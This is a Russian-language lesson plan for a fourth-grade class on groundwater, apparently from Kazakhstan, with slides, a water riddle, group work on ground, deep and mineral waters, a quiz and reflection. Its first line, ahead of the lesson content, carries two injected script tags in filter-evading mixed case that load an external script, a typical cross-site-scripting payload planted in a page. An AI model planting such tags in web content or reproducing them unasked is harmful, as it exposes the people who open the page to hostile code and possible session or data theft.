<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Планируемое

время

Планируемые задания

Источники,

оборудование

Организационный

момент

3 мин

Психологический

настрой

Позитивный

видео-ролик «Самые красивые водопады»

Слайд №1

Актуализация

знаний

 Подведение к теме  и цели урока

6 мин

На слайде

изображены самые красивые водопады мира.Что вы видете на слайде .

(Водопады).Вам понравились они .Да.  И

о чем мы будем говорить сегодня на уроке?

(о воде) .

Загадка о

воде.

Если руки наши в ваксе,

Если на нос сели кляксы,

Кто тогда нам первый друг,

Снимет грязь с лица и рук?

Без чего не может мама

Ни готовить, ни стирать,

Без чего, мы скажем прямо,

Человеку умирать?

Чтобы лился дождик с неба,

Чтоб росли колосья хлеба,

Чтобы плыли корабли -

Жить нельзя нам без...(Воды)

Чтение стихотворений о воде.

Какие вы знаете пословицы о воде?

Один ученик расскажет сказку о воде

Девизом

нашего сегодняшнего урока будут слова:

«Реки,

ручейки , моря на земле текут не зря.».

 Усвоение новых знаний

  Деление на группы

10 мин

Ребятя, скажите . о чем вы говорили на прошлом

занятии.(О круговороте воды в природе.) Но не вся вода испаряется и хранится на

поверхности земли. Очень много воды встречается глубоко под землей. Воды,

которые находятся на земле, называется поверхностные воды. А воды, которые

находятся под землей, называются подземными водами. Подземные воды очень

важны для Казахстана, так как очень большая территория расположена в

пустынных и полупустынных зонах.

Сообщение о

подземных водах на слайде №2  читают

учащиеся коллективно

Слайд №2

Слайд №3

 « Образование подземных вод»

Капельки

разных цветов (Голубые , розовые, фиолетовые.)

Учебник  «Познание мира»

4 класс

Работа в

группах

7 мин

Повторяем

правила работы в группах

Работа с

текстом по стратегии «Инсерт»

1ГРУППА-Подготовить

сообщение о грунтовых водах.

2ГРУППА

–Подготовить сообщение о глубинных водах.

3ГРУППА

–Подготовить сообщение о минеральных водах.

Учащиеся

готовят презентацию,

Рисуют

флипчарты, отражая на них сообщение по теме урока.

Презентация

работ   7 мин

Учащиеся

защищают свои посперы

Флипчарт

Физминутка

            2 мни

     «На зарядку становись!»

И. К. Т.

Слайд №4

Закрепление

               4 мин

Учащиеся в

группах отвечают на вопросы теста.

Слайд  №5 тесты

Подведение  2 мин

Выставление

балов на листах самооценивания

Листы

самооценивания

Рефлексия

                 3 мин

«Солнышко и

тучка»

   На стикерах напишите

   Что было интересно на уроке?

   Что вызвало затруднение.?

    О чём хотели узнать?

Стикеры

Задание на дом

                  1 мин

Стр. 46-48

Учебник